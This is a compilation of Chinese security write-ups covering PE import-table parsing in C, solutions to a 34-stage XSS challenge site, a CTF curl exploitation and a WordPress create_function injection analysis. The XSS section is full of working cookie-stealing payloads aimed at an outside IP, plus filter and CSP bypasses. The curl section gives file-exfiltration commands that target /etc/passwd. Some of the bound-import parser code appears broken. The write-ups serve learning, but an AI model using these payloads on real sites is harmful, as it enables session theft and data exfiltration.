typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
这里要注意的就是两个结构，OriginalFirstThunk和FirstThunk，其中OriginalFirstThunk对应的就是IAT表(即Import
Address Table)，FirstThunk对应的就是INT表(即Import Name Table)。
我们看一下PE文件加载前内存中的情况，在PE文件加载前，INT表跟IAT表都是存储的相同的结构并指向IMAGE_IMPORT_BY_NAME
在PE加载完成后INT表的结构不变，而IAT表则是直接存储了函数的地址
## IAT表&INT表
加载到内存前我们看到IAT和INT都指向一个结构体数组，有多少个函数被导入，这个数组就有多少个成员，并且该数组以0结尾。这个数组存储了序号和函数名。IAT和INT的元素为IMAGE_THUNK_DATA结构，而其指向为IMAGE_IMPORT_BY_NAME结构，这两个结构体如下所示：
IMAGE_THUNK_DATA结构体汇总只有一个联合体，一般用四字节的AddressOfData来获取IMAGE_IMPORT_BY_NAME的地址。
typedef struct _IMAGE_THUNK_DATA32 {
union {
DWORD ForwarderString; // PBYTE
DWORD Function; // PDWORD
DWORD Ordinal;
DWORD AddressOfData; //RVA 指向_IMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 * PIMAGE_THUNK_DATA32;
首先要判断最高位是否为1，如果最高位的值为1，那么去除最高位的值之后，即为函数的导出序号，如果最高位的值不为1，那么这个值就是一个RVA，在转成FOA之后指向`IMAGE_IMPORT_BY_NAME`这个结构
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
Hint为2字节，为当前函数在导出表中的索引，但是这个值一般起不到什么作用。我们思考一下，如果我们最高位值为1是以序号导出，最高位值不为1则以名字导出，而以名字导出的时候我们才会用到`IMAGE_IMPORT_BY_NAME`结构，但是我们按名字导出也就不需要管函数的索引了，所以Hint这个值可以忽略，在一些编译器里面会直接将Hint的值置为0。我们主要是看一下`Name[1]`这个结构，可以看到它是BYTE，大小为1字节，那么有人可能就会问了，函数名1字节能够保证存下吗？这里正是因为考虑到了函数名字长度的不确定性，设计者只将函数开头的1字节存到`Name[1]`这个结构中，函数名是以`\0`结尾的，也就是说在找到`Name[1]`里面所存的首字节后，一直往后遍历，直到找到0即为函数名的结束。
## 绑定导入表
PE在加载前INT、IAT表都指向一个名称表，但是有的exe程序，在打印IAT表的时候，会发现里面是地址。这是因为我们的PE程序在加载的时候，IAT表会填写函数地址。但是这就造成了一个问题，PE程序启动慢，每次启动都要给IAT表填写函数地址。那么这里我们就可以使用到绑定导入表来使PE程序的启动变快。
那么我们还需要注意的一个点就是`TimeDataStamp`，即时间戳。PE加载EXE相关的DLL时，首先会根据`IMAGE_IMPORT_DESCRIPTOR`结构中的`TimeDateStamp`来判断是否要重新计算IAT表中的地址
若`TimeDataStamp == 0` 则未绑定，`TimeDataStamp == -1` 则已绑定
一般的PE文件在加载前INT和IAT表中都是指向`IMAGE_IMPORT_BY_NAME`这张表的，也就是说INT表和IAT表在PE加载前表中所存的内容都是一样的，PE在加载后，IAT表里存的才是函数的地址，这种情况就属于没有绑定导入表的情况，即`TimeDataStamp`为0的情况。
我们知道，IAT表的本质是在PE文件加载后存放是函数地址，因为dll存在可能被其他系统dll占用空间的情况出现，所以一般都不会将函数地址直接写在IAT表里面。如果将要使用绑定导入表，最大的优点就是程序的启动速度会变快，因为省去了一个IAT重组的过程，一般windows系统自带的一些exe会选择将导入表绑定，即`TimeDataStamp
= fffffff`，转换为十进制便是0
真正的绑定导入表位于目录的第12项，其中`TimeDataStamp`为真正的时间戳，`OffsetModuleName`为剩余dll的名字，`NumberOfModuleForwarderRefs`为依赖dll的数量。
typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {
DWORD TimeDateStamp; //真正的时间戳
WORD OffsetModuleName; //DLL的名字,PE的文件名
WORD NumberOfModuleForwarderRefs; //依赖的另外的DLL有几个
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;
其中要注意的是`OffsetModuleName`这个值有点特殊，它既不是foa，也不是rva，它的计算公式为第一个`DESCRIPTOR`的值加上所在结构体的`OffsetMoudeleName`得到。如果`NumberOfModuleForwarderRefs`的值为2，则绑定导入表一共就有3个dll。
如果`NumberOfModuleForwarderRefs`的值不为0，绑定导入表下面还会跟一张依赖dll的绑定导入表结构，含义的话跟绑定导入表相同，`Reserved`值可以不用管。
typedef struct _IMAGE_BOUND_FORWARDER_REF {
DWORD TimeDateStamp;
WORD OffsetModuleName;
WORD Reserved;
} IMAGE_BOUND_FORWARDER_REF, *PIMAGE_BOUND_FORWARDER_REF;
## 代码实现
### 导入表
那么我们这里就对导入表进行代码解析的实现
我们首先定位到导入表，位于数据目录项的第二个结构
FileAddress = RvaToFoa((char*)IN_path, pOptionHeader->DataDirectory[1].VirtualAddress) + (DWORD)FileBuffer;
定义一个指向导入表的指针
pImport = (PIMAGE_IMPORT_DESCRIPTOR)FileAddress;
首先输出dll名称，通过指针指向Name结构
printf("dll名称:%s\n", (DWORD)FileBuffer + RvaToFoa((char*)IN_path, pImport->Name));
再通过指向`OriginalFirstThunk`结构找到INT表的首地址
printf("INT表首地址:%x\n", pImport->OriginalFirstThunk);
然后判断最高位是否为1，这里使用到于0x80000000相与的方法对最高位进行判断
OriginalFT = (PDWORD)((DWORD)FileBuffer + RvaToFoa((char*)path, pImport->OriginalFirstThunk));
while (*OriginalFT)
{
if ((*OriginalFT) & 0x80000000)
{
printf("按序号导入:%x\n", (*OriginalFT) & 0x0FFF);
}
else
{
pName = (PIMAGE_IMPORT_BY_NAME)((DWORD)FileBuffer+RvaToFoa((char*)path, *OriginalFT));
printf("按名字导入hint/name:%x-%s\n", pName->Hint,pName->Name);
}
OriginalFT++;
}
IAT表的打印同理，使用指针指向FirstThunk结构即可
FT = (PDWORD)((DWORD)FileBuffer + RvaToFoa((char*)path, pImport->FirstThunk));
OriginalFT = (PDWORD)((DWORD)FileBuffer + RvaToFoa((char*)path, pImport->OriginalFirstThunk));
FT = (PDWORD)((DWORD)FileBuffer + RvaToFoa((char*)path, pImport->FirstThunk));
while (*OriginalFT)
{
if ((*OriginalFT) & 0x80000000)
{
printf("按序号导入:%x\n", (*OriginalFT) & 0x0FFF);
}
else
{
pName = (PIMAGE_IMPORT_BY_NAME)((DWORD)FileBuffer+RvaToFoa((char*)path, *OriginalFT));
printf("按名字导入hint/name:%x-%s\n", pName->Hint,pName->Name);
}
OriginalFT++;
}
完整代码如下
void PrintImportTable()
{
LPVOID FileBuffer = NULL;
PIMAGE_DOS_HEADER pDosHeader = NULL;
PIMAGE_NT_HEADERS pNTHeader = NULL;
PIMAGE_FILE_HEADER pPEHeader = NULL;
PIMAGE_OPTIONAL_HEADER32 pOptionHeader = NULL;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_IMPORT_DESCRIPTOR pImport = NULL;
//OriginalFirstThunk
PDWORD OriginalFT = NULL;
//FirstThunk
PDWORD FT = NULL;
PIMAGE_IMPORT_BY_NAME pName = NULL;
DWORD FileAddress = NULL;
FileToFileBuffer((char*)IN_path, &FileBuffer);
if (!FileBuffer)
{
printf("File->FileBuffer失败");
return;
}
pDosHeader = (PIMAGE_DOS_HEADER)FileBuffer;
pNTHeader = (PIMAGE_NT_HEADERS)((DWORD)pDosHeader + pDosHeader->e_lfanew);
pPEHeader = (PIMAGE_FILE_HEADER)((DWORD)pNTHeader + 4);
pOptionHeader = (PIMAGE_OPTIONAL_HEADER32)((DWORD)pPEHeader + IMAGE_SIZEOF_FILE_HEADER);
FileAddress = RvaToFoa((char*)IN_path, pOptionHeader->DataDirectory[1].VirtualAddress) + (DWORD)FileBuffer;
pImport = (PIMAGE_IMPORT_DESCRIPTOR)FileAddress;
for( ;pImport->FirstThunk || pImport->OriginalFirstThunk;pImport++)
{
printf("dll名称:%s\n", (DWORD)FileBuffer + RvaToFoa((char*)IN_path, pImport->Name));
printf("INT表首地址:%x\n", pImport->OriginalFirstThunk);
OriginalFT = (PDWORD)((DWORD)FileBuffer + RvaToFoa((char*)IN_path, pImport->OriginalFirstThunk));
FT =(PDWORD)((DWORD)FileBuffer + RvaToFoa((char*)IN_path, pImport->FirstThunk));
while (*OriginalFT)
{
if((*OriginalFT) & 0x80000000)
{
printf("按序号导入:%x\n" , (*OriginalFT) & 0x0FFF);
}
else
{
pName = (PIMAGE_IMPORT_BY_NAME)((DWORD)FileBuffer + RvaToFoa((char*)IN_path, *OriginalFT));
printf("按名字导入<hint/name>:%x/%s\n", pName->Hint, pName->Name);
}
OriginalFT++;
}
printf("IAT表首地址:%x\n" , pImport->FirstThunk);
while (*FT)
{
if((*FT) & 0x80000000)
{
printf("按序号导入:%x\n" , (*FT) & 0x7FFFFFFF);
}
else
{
pName = (PIMAGE_IMPORT_BY_NAME)((DWORD)FileBuffer + RvaToFoa((char*)IN_path, *FT));
printf("按名字导入<hint/name>:%x/%s\n", pName->Hint, pName->Name);
}
FT++;
}
}
free(FileBuffer);
}
实现效果如下
### 绑定导入表
我们再来进行绑定导入表的代码解析，首先还是看一下绑定导入表的结构
typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR {
DWORD TimeDateStamp; //真正的时间戳
WORD OffsetModuleName; //DLL的名字,PE的文件名
WORD NumberOfModuleForwarderRefs; //依赖的另外的DLL有几个
// Array of zero or more IMAGE_BOUND_FORWARDER_REF follows
} IMAGE_BOUND_IMPORT_DESCRIPTOR, *PIMAGE_BOUND_IMPORT_DESCRIPTOR;
之前我们分析过了绑定导入表的结构，位于数据目录项的第12位，那么我们首先定义一个指针指向绑定导入表
pBoundImport = (PIMAGE_BOUND_IMPORT_DESCRIPTOR)(RvaToFoa((char*)IN_path, pOptionHeader->DataDirectory[11].VirtualAddress) + (DWORD)FileBuffer);
我们之前提到了，如果绑定导入表的值为1的时候，才表示已绑定，绑定导入表才会有意义，那么我们首先就需要进行判断
if (pImport->TimeDateStamp != 0)
若`TimaDateStamp`的值不为0才继续向下解析，然后就是定义好的指针指向绑定导入表里面的几个结构
printf("时间戳:%x\n", ptempBoundImport->TimeDateStamp);
printf("名称:%s\n", (PBYTE)((DWORD)ptempBoundImport + ptempBoundImport->OffsetModuleName));
printf("还用到了%x个其他dll\n", ptempBoundImport->NumberOfModuleForwarderRefs);
当`NumberOfModuleForwarderRefs`的值不为0时，绑定导入表下面还会跟一张依赖dll的绑定导入表结构，含义的话跟绑定导入表相同，那么我们再定义一个指针与之前指向绑定导入表的指针相同即可
ptempBoundImport = pBoundImport;
然后再使用一个for循环遍历ref结构
for (DWORD i = 0; i < pBoundImport->NumberOfModuleForwarderRefs; i++, ptempBoundImport1++)
{
printf("时间戳:%x\n", ptempBoundImport1->TimeDateStamp);
printf("名称:%s\n", (PBYTE)((DWORD)pBoundImport + ptempBoundImport1->OffsetModuleName));
}
完整代码如下
void printBoundImporttable()
{
PIMAGE_BOUND_IMPORT_DESCRIPTOR pBoundImport = NULL;
PIMAGE_BOUND_IMPORT_DESCRIPTOR ptempBoundImport = NULL;
PIMAGE_BOUND_FORWARDER_REF ptempBoundImport1 = NULL;
//OriginalFirstThunk
PDWORD OriginalFT = NULL;
//FirstThunk
PDWORD FT = NULL;
PIMAGE_IMPORT_BY_NAME pName = NULL;
DWORD FileAddress = NULL;
FileToFileBuffer((char*)IN_path, &FileBuffer);
if (!FileBuffer)
{
printf("File->FileBuffer失败");
return;
}
pBoundImport = (PIMAGE_BOUND_IMPORT_DESCRIPTOR)(RvaToFoa((char*)IN_path, pOptionHeader->DataDirectory[11].VirtualAddress) + (DWORD)FileBuffer);
ptempBoundImport = pBoundImport;
while (pBoundImport->OffsetModuleName && pBoundImport->TimeDateStamp)
{
if (pImport->TimeDateStamp != 0)
{
printf("时间戳:%x\n", ptempBoundImport->TimeDateStamp);
printf("名称:%s\n", (PBYTE)((DWORD)ptempBoundImport + ptempBoundImport->OffsetModuleName));
printf("还用到了%x个其他dll\n", ptempBoundImport->NumberOfModuleForwarderRefs);
ptempBoundImport1 = (PIMAGE_BOUND_FORWARDER_REF)(ptempBoundImport++);
for (DWORD i = 0; i < pBoundImport->NumberOfModuleForwarderRefs; i++, ptempBoundImport1++)
{
printf("时间戳:%x\n", ptempBoundImport1->TimeDateStamp);
printf("名称:%s\n", (PBYTE)((DWORD)pBoundImport + ptempBoundImport1->OffsetModuleName));
}
}
}
free(FileBuffer);
}
实现效果如下 | 社区文章 |
# 前言
做了一个xss平台的题目，一共34题，题目还不错，这里记录一下解题记录
题目地址：[传送门](https://knock.xss.moe/index)
# 题目
这个平台接收flag的形式和其它平台不同，得用vps或者是用xss平台去接收cookie（flag在cookie中）
## stage1
第一关它是告诉你你怎么去获取flag的
直接把你的payload在这里提交（记住一定是要在这个填入你的payload），然后用你的vps去接受flag就行了
payload
http://8293927d3c84ed42eef26dd9ceaaa3d9bf448dda.knock.xss.moe/?location=`http://134.175.33.164:1234/?${document.cookie}`
然后服务器端用nc监听接收flag
nc -lvvkp 1234
可以看到成功接收到了flag
## stage2
第二关直接可以嵌入js代码
payload
http://1a31198b4289ff3af4f7195a810c48eba9f6bf28.knock.xss.moe/?q=<script>document.location=`http://134.175.33.164:1234/?${document.cookie}`</script>
## stage3
第三关q参数可控，直接闭合a标签
payload
http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>document.location=`http://134.175.33.164:1234/?${document.cookie}`</script>
## stage4
和第三关同理，只不过把双引号变成了单引号
payload
http://2375e1f80fe2ec262a235d594fbcee96dba66710.knock.xss.moe/?q='><script>document.location=`http://134.175.33.164:1234/?${document.cookie}`</script>
## stage5
直接闭合textarea标签
payload
http://fea7c73bbe92f7880fc15514e076e838d2ce8a90.knock.xss.moe/?q=</textarea><script>document.location=`http://134.175.33.164:1234/?${document.cookie}`</script>
## stage6
直接闭合xmp
payload
http://d82fe27901fa05dcfa8980262fc811645543e374.knock.xss.moe/?q=</xmp><script>document.location=`http://134.175.33.164:1234/?${document.cookie}`</script>
## stage7
第七关尖括号被转义了
我们可以用onfocus事件，并且用它的autofocus属性去触发onfocus事件
payload
http://8005f6694d2862438bad3715436522e27dbd81a4.knock.xss.moe/?q=XSS" autofocus onfocus="document.location=`http://134.175.33.164:1234/?${document.cookie}`
## stage8
和第七关同理，只不过把双引号变成了单引号
payload
http://b65797d44372ecb2b2552e32f10ec75f1bddcca6.knock.xss.moe/?q=xss' autofocus onfocus='document.location=`http://134.175.33.164:1234/?${document.cookie}`
## stage9
和第七关同理，但是没有引号
payload
http://e461f5f6c542ae79ccc144093c63d0b074e591cd.knock.xss.moe/?q=XSS autofocus onfocus=document.location=`http://134.175.33.164:1234/?${document.cookie}`
## stage10
这题双引号被转义了，无法闭合双引号。所以我们可以考虑用javascript伪协议
http://811fbf0db9c40565743a37c2978f812b82eb89a6.knock.xss.moe/?q=javascript:document.location=`http://134.175.33.164:1234/?${document.cookie}`
## stage11
和stage10同理
payload
http://38e585f94f9d1f6bb79e88b74f3a5b5871d5bb84.knock.xss.moe/?q=javascript:document.location=`http://134.175.33.164:1234/?${document.cookie}`
## stage12
12关发现有CSP，只能默认同源下的资源加载，iframe标签也只能加载同源资源，但是有inline存在，所以我们可以用预加载Bypass掉CSP
尝试构造
var xss = document.createElement(`link`);
xss.setAttribute(`rel`, `prefetch`);
xss.setAttribute(`href`, `http://134.175.33.164:1234/?${document.cookie}`);
document.head.appendChild(xss);
最终payload
http://a4f51941335441be0fdb21c2890ec17b1d0f08f0.knock.xss.moe/?q=javascript:var xss = document.createElement(`link`);xss.setAttribute(`rel`, `prefetch`);xss.setAttribute(`href`, `http://134.175.33.164:1234/?${document.cookie}`);document.head.appendChild(xss);
//页面渲染完毕会创建 Link REL=prefetch 的标签，向目标页面发起预加载
## stage13
十三关发现过滤了很多字符如window，document,cookie，img等字符，不过fuzz了一下发现svg可以用，其它的我们可以用base64编码绕过
<svg onload=eval(atob("ZG9jdW1lbnQubG9jYXRpb249YGh0dHA6Ly8xMzQuMTc1LjMzLjE2NDoxMjM0Lz8ke2RvY3VtZW50LmNvb2tpZX1g"))>
## stage14
14关又发现CSP
但是和12关相比，它没有了unline，所以预加载的方法行不通了，但是我们可以看到这里
frame-src http://*.knock.xss.moe
它允许knock.xss.moe的所有子域的资源可以被frame访问，那么问题来了，我们怎么样才可以用到knock.xss.moe子域的资源呢，灵机一动：既然是所有的子域，我们可利用其它关卡嘛
尝试构造
http://3cb34c8407410e2d6c1d708b786ce69a0192b470.knock.xss.moe/?q=http://e461f5f6c542ae79ccc144093c63d0b074e591cd.knock.xss.moe/?q=XSS%20autofocus%20onfocus=alert(1);
发现可以执行
然后我们再通过document.domain指定域，跨域获得flag(cookie)
最终payload：
http://3cb34c8407410e2d6c1d708b786ce69a0192b470.knock.xss.moe/?q=http://e461f5f6c542ae79ccc144093c63d0b074e591cd.knock.xss.moe/?q=XSS%20autofocus%20onfocus=document.domain=`knock.xss.moe`;window.open(`http://134.175.33.164:1234/?${parent.document.cookie}`)
## stage15
直接用svg就OK了
payload
http://e3bcee011cad77ba066ca7c2ad2884372aec9566.knock.xss.moe/?q=%3Csvg/onload=document.location=`http://134.175.33.164:1234/?${document.cookie}`%3E
## stage16
16关是跳转到q参数所对应的网址
很容易想到用JavaScript伪协议
payload
http://86620d66a1b474c588ef787b711b0f1d8843a1af.knock.xss.moe/?q=javascript:document.location=`http://134.175.33.164:1234/?${parent.document.cookie}`
## stage17
和stage16一样
payload
http://34a131df991487bf58d3df0a85e247d396fb93a0.knock.xss.moe/?q=javascript:document.location=`http://134.175.33.164:1234/?${parent.document.cookie}`
## stage18
尝试代码注入
发现给单引号前面加了一个`\`，但是我们在单引号前面再加一个`\`吃掉它
最终payload
http://c6a860d0948320766d5c4d8dc3bbdcdf9dd95884.knock.xss.moe/?q=1\');document.location=`http://134.175.33.164:1234/?${document.cookie}`;//
## stage19
尝试代码注入
但是我发现我用这个payload老是打不到cookie
http://224d0c5677307d743ba90c8f81e42f5be648cd97.knock.xss.moe/?q=XSS%27);window.open(`http://134.175.33.164:1234/?${document.cookie}`);//
然后发现，必须要我把前面那个xss的弹窗点了之后后面的js代码才会触发，然而后台的bot并不会点击弹窗，所以才导致我们后面的代码不会执行，所以我们的利用点必须是在alert里面，尝试一波发现alert里面可以用其它函数，原因不明，有知道的师傅还请科普
最终payload
http://224d0c5677307d743ba90c8f81e42f5be648cd97.knock.xss.moe/?q=XSS',window.open(`http://134.175.33.164:1234/?${document.cookie}`));//
## stage20
发现script被替换为空，双写script即可绕过
payload
http://303f34eb0a974a432254a4cb2d6e07fa6f8b0b7f.knock.xss.moe/?q=<scriscriptpt>document.location=`http://134.175.33.164:1234/?${document.cookie}`</scriscriptpt>
## stage21
和上一题差不多，只不过这题双写script没有用，但是我们可以用大小写绕过，但是发现无论怎么样都收不到cookie，查看一波响应头，发现
> X-XSS-Protection:1;mode=block,这里使用了XSS过滤，如果检测到攻击，就会浏览器会阻止页面渲染
但是它会把script替换为空，所以我们可以利用script混淆代码，导致浏览器检测不出xss；
payload
http://49ab9ff165cd76ffe06af0b72f450c82f35db396.knock.xss.moe/?q=<Script>docuscriptment.loscriptcation=`http://134.175.33.164:1234/?${document.cookie}`</sCript>
## stage22
22关发现有长度限制
发现最大长度是65
标签首先考虑用svg比较合适，然后用`//`代替`http://`，IP使用十进制ip
刚好65个踩点，最后payload
http://bcd699e871d46c191f3c43a7197c18440b308507.knock.xss.moe/?q=<svg/onload=window.open(`//2259624356:1234/?${document.cookie}`)>
## stage23
这题限制55个字符
我们可以使用`location.hash`，然后`<svg/onload=eval(location.hash.slice(1))>`，最后在`#`后面再加上我们的payload
长度41，没毛病
最终payload
http://51b123fbd6a21b3cf43f49e0a1014221e191c7db.knock.xss.moe/?q=<svg/onload=eval(location.hash.slice(1))>#window.open(`http://134.175.33.164:1234/?${document.cookie}`)
## stage24
这关限制字符45，但是stage23的payload仍然能用
http://1498f071159fd60222c0e7e82b7b6ff046e9e52e.knock.xss.moe/?q=<svg/onload=eval(location.hash.slice(1))>#window.open(`http://134.175.33.164:1234/?${document.cookie}`)
## stage25
这关限制35个字符，这还让不让人活了。这题前前后后搞了一小时，弄得我头皮发麻，无奈查了很多Short XSS，功夫不负有心人，发现了一片新天地
既然后台的bot是直接加载我们提交的URL，那么我们尝试在我们vps上部署以下代码
<script>
window.name = "location.href=`http://134.175.33.164:1234/?${parent.document.cookie}`";
location.href = "http://8e67e39d7e01213d5551c696ef8641b625cc8dd7.knock.xss.moe/?q=<svg/onload=eval(window.name)>";
</script>
然后把我的vps的链接直接提交过去
Getflag
## stage26
这题回把我们payload全部转化为大写，但是js中的函数是区分大小写的，但是我们可以用HTML实体编码绕过，然后再urlencode，不然浏览器会把`#`后面当作描点
payload
http://89078a2f1f0b7d9f210b1876f4b20ada0a090ebb.knock.xss.moe/?q=<img src="x" onerror=%26%23%78%37%37%3b%26%23%78%36%39%3b%26%23%78%36%65%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%23%78%37%37%3b%26%23%78%32%65%3b%26%23%78%36%66%3b%26%23%78%37%30%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%32%38%3b%26%23%78%36%30%3b%26%23%78%36%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%33%61%3b%26%23%78%32%66%3b%26%23%78%32%66%3b%26%23%78%33%31%3b%26%23%78%33%33%3b%26%23%78%33%34%3b%26%23%78%32%65%3b%26%23%78%33%31%3b%26%23%78%33%37%3b%26%23%78%33%35%3b%26%23%78%32%65%3b%26%23%78%33%33%3b%26%23%78%33%33%3b%26%23%78%32%65%3b%26%23%78%33%31%3b%26%23%78%33%36%3b%26%23%78%33%34%3b%26%23%78%33%61%3b%26%23%78%33%31%3b%26%23%78%33%32%3b%26%23%78%33%33%3b%26%23%78%33%34%3b%26%23%78%32%66%3b%26%23%78%33%66%3b%26%23%78%32%34%3b%26%23%78%37%62%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%23%78%36%33%3b%26%23%78%37%35%3b%26%23%78%36%64%3b%26%23%78%36%35%3b%26%23%78%36%65%3b%26%23%78%37%34%3b%26%23%78%32%65%3b%26%23%78%36%33%3b%26%23%78%36%66%3b%26%23%78%36%66%3b%26%23%78%36%62%3b%26%23%78%36%39%3b%26%23%78%36%35%3b%26%23%78%37%64%3b%26%23%78%36%30%3b%26%23%78%32%39%3b>
## stage27
这题把`.`给过滤了，但是我们可以用数组的形式表示：window['open'],document['cookie']，
URL中的点的话，我们有两种方法，第一种方法是把ip地址转化为十进制ip地址，第二种方法是把url中的`.`换成中文的句号，浏览器会把中文的句号自动转化成`.`
payload：
第一种:
http://295a1d900c5bf618101abf69083622d0f69aded1.knock.xss.moe/?q=<script>window['open'](`http://134。175。33。164:1234/?${document['cookie']}`)</script>
第二种：
http://295a1d900c5bf618101abf69083622d0f69aded1.knock.xss.moe/?q=<script>window['open'](`http://2259624356:1234/?${document['cookie']}`)</script>
## stage28
这题比上一题多了一个过滤了双引号和单引号，但是我们可以用反引号绕过
payload
http://02f6f47ddaa7b22137a74843f2c4f1ac915dda3b.knock.xss.moe/?q=<script>window[`open`](`http://2259624356:1234/?${document[`cookie`]}`)</script>
## stage29
这题过滤了括号和`.`，用`document['location']`就ok了
payload
http://a4bf8393a4159b94aa4b84e9a134d5e6140f3c34.knock.xss.moe/?q=document[`location`]=`http://2259624356:1234/?${document[`cookie`]}`
## stage30
和上一题一毛一样
http://ebf510ac2d79576cd5b7d45412eaf3eed1781bd0.knock.xss.moe/?q=document[`location`]=`http://2259624356:1234/?${document[`cookie`]}`
## stage31-34(这四题一毛一样)
这题过滤了`>`，但是没有过滤掉`<`，但是`<svg/onload=alert(1)`不需要闭合尖括号也可以执行
payload
http://bb84607f02113a22396438c9a67e4c5abdfd6561.knock.xss.moe/?q=%3Csvg/onload=document[`location`]=`http://2259624356:1234/?${document[`cookie`]}`//%3E
# 总结
虽然这些题目并不是很难，但是套路还是很多的，学到了不少东西 | 社区文章 |
# 前言
偶尔看到一个师傅赛后询问某比赛题目，做了下，他说他们那组是0解。远程环境关了，只有附件，所以我也不确定是不是预期解，应该差不多。（PS：本人技术比较菜，如有错误欢迎大师傅们指出，万分感谢，求轻喷
# 源码
# 题目名叫justcurl
from flask import render_template, request, Flask
import os
app = Flask(__name__)
def check(s):
if 'LD' in s or 'BASH' in s or 'ENV' in s or 'PS' in s:
return False
return True
@ app.route('/')
@ app.route('/index')
def index():
try:
choose = request.args.get('choose')
except:
choose = ""
try:
key = request.args.get('key')
except:
key = ""
try:
value = request.args.get('value').upper()
except:
value = ""
if value:
if check(value):
os.environ[key] = value
if choose == "o":
cmd = "curl http://127.0.0.1:5000/result -o options.txt"
elif choose == "K":
cmd = "curl http://127.0.0.1:5000/result -K options.txt"
else:
cmd = "curl http://127.0.0.1:5000/result"
try:
res = os.popen(cmd).read()
return "your cmd is : " + cmd + " \n and your result id :" + res
except:
return "error"
@ app.route('/result')
def logout():
code = "no result"
#return render_template("index.html",code=code) #因为不知道远程啥样且没静态文件所以我暂且把这里这样改了
return code
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5000)
我是本地用ubuntu:20.04的docker下了个python和curl搭的环境。
# 解题
刚开始以为要用p神的变量注入，尝试了下发现好像不太行，又尝试了一些其它方法都没成功，后来去谷歌了下环境变量和curl，搜到了这篇文章
<https://droidyue.com/blog/2021/07/07/set-proxy-for-curl/> ，就是配置临时环境变量
http_proxy
让终端流量走代理，（之前知道这个知识点，但没想到），尝试了下可以，[http://10.0.0.3:5000/?key=http_proxy&value=http://10.0.0.2:22222/](http://10.0.0.3:5000/?key=http_proxy&value=http://10.0.0.2:22222/)
=========================================================================
然后这样可以控制那个options.txt的文件内容，我这里是手动粘贴了个相应报文,最后ctrl
c结束连接，[http://10.0.0.3:5000/?choose=o&key=http_proxy&value=http://10.0.0.2:22222/](http://10.0.0.3:5000/?choose=o&key=http_proxy&value=http://10.0.0.2:22222/)
=========================================================================
然后去搜curl的参数（好像不同的环境curl -h 结果还不太一样？这个docker里的curl是有K这个参数，注意是大写的K）
刚开始尝试写了一些 `—-config /etc/passwd` 之类的，但只能在日志里看到warning信息，web界面啥都看不到，写入 -d ‘a=a’
后得到post数据包才发现原来是没理解明白（
然后就是常规的curl发文件了，[http://10.0.0.3:5000/?choose=K&key=http_proxy&value=http://10.0.0.2:22222/](http://10.0.0.3:5000/?choose=K&key=http_proxy&value=http://10.0.0.2:22222/)
因为不是远程所以我也不太清楚是不是非预期，总之还是学到了一些以前不知道的知识（
# 后续补充
1，今天重新搜curl相关的资料时发现一个对curl参数详解的文档，每个参数都加了Example，强烈建议看看
<https://curl.se/docs/manpage.html>
2，搜索 ‘curl在ctf中的利用’ 时搜到一篇文章
<https://www.anquanke.com/post/id/98896，简单把提到的知识点总结下备忘吧（>
1. curl支持其他协议
2. curl http://xxx.xxx.xx.xx -o xxx
3. curl PUT文件 http://172.17.1.101:10003/?url=http://xx.xxx.xx.xx:22222/ -T /etc/passwd
4. curl发文件 curl http://xx.xxx.xx.xx -F file=@/etc/passwd | 社区文章 |
**Author: p0wd3r (知道创宇404安全实验室)**
## 0x00 漏洞概述
### 1.漏洞简介
[WordPress](https://wordpress.org/)是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统，近日在github
（<https://gist.github.com/anonymous/908a087b95035d9fc9ca46cef4984e97>）上爆出这样一个漏洞，在其<=4.6.1版本中，如果网站使用攻击者提前构造好的语言文件来对网站、主题、插件等等来进行翻译的话，就可以执行任意代码。
### 2.漏洞影响
任意代码执行，但有以下两个前提：
1. 攻击者可以上传自己构造的语言文件，或者含有该语言文件的主题、插件等文件夹
2. 网站使用攻击者构造好的语言文件来对网站、主题、插件等进行翻译
这里举一个真实场景中的例子：攻击者更改了某个插件中的语言文件，并更改了插件代码使插件初始化时使用恶意语言文件对插件进行翻译，然后攻击者通过诱导管理员安装此插件来触发漏洞。
### 3.影响版本
<= 4.6.1
## 0x01 漏洞复现
### 1\. 环境搭建
docker pull wordpress:4.6.1
docker pull mysql
docker run --name wp-mysql -e MYSQL_ROOT_PASSWORD=hellowp -e MYSQL_DATABASE=wp -d mysql
docker run --name wp --link wp-mysql:mysql -d wordpress
### 2.漏洞分析
首先我们来看这样一个场景：
在调用`create_function`时，我们通过`}`将原函数闭合，添加我们想要执行的内容后再使用`/*`将后面不必要的部分注释掉，最后即使我们没有调用创建好的函数，我们添加的新内容也依然被执行了。之所以如此，是因为`create_function`内部使用了`eval`来执行代码，我们看PHP手册上的说明：
所以由于这个特性，如果我们可以控制`create_function`的`$code`参数，那就有了任意代码执行的可能。这里要说一下，`create_function`这个漏洞最早由80sec在08年提出，这里提供几个链接作为参考：
* <https://www.exploit-db.com/exploits/32416/>
* <https://bugs.php.net/bug.php?id=48231>
* <http://www.2cto.com/Article/201212/177146.html>
接下来我们看Wordpress中一处用到`create_function`的地方，在`wp-includes/pomo/translations.php`第203-209行：
/**
* Makes a function, which will return the right translation index, according to the
* plural forms header
* @param int $nplurals
* @param string $expression
*/
function make_plural_form_function($nplurals, $expression) {
$expression = str_replace('n', '$n', $expression);
$func_body = "
\$index = (int)($expression);
return (\$index < $nplurals)? \$index : $nplurals - 1;";
return create_function('$n', $func_body);
}
根据注释可以看到该函数的作用是根据字体文件中的`plural
forms`这个header来创建函数并返回，其中`$expression`用于组成`$func_body`，而`$func_body`作为`$code`参数传入了`create_function`，所以关键是控制`$expresstion`的值。
